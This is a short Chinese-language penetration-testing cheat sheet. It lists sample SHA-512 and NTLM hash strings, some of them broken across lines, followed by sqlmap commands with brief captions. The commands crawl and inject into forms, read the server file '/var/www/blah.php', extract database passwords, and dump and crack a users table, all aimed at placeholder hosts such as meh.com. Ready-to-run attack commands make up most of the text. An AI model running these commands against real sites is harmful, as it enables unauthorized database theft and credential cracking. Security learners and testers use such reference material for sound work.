SHA-512 $ SALT:$ PASS
976b451818634a1e2acba682da3fd6ef
a72adf8a7a08d7939550c244b237c72c7d4236754
4e826c0c83fe5c02f97c0373b6b1
386cc794bf0d21d2df01bb9c08a
NTLM哈希示例
b4b9b02e6f09a9bd760f388b67351e2b
SQLMap示例命令描述sqlmap -u http://meh.com --forms --batch --crawl=10
--cookie=jsessionid=54321 --level=5 --risk=3
自動sqlmap掃描
sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE
--level=3 --current-user --current-db --passwords
--file-read="/var/www/blah.php"
目標sqlmap掃描
sqlmap -u "http://meh.com/meh.php?id=1"
--dbms=mysql --tech=U --random-agent --dump
掃描url for union +基於錯誤的注入與mysql後端
並使用隨機用戶代理+資料庫轉儲
sqlmap -o -u "http://meh.com/form/" --forms
用於注入的sqlmap檢查表單
sqlmap -o -u "http://meh/vuln-form" --forms
-D database-name -T users --dump
資料庫名稱上的表用戶的sqlmap轉儲和破解散列。
為滲透測試準備的10大黑客工具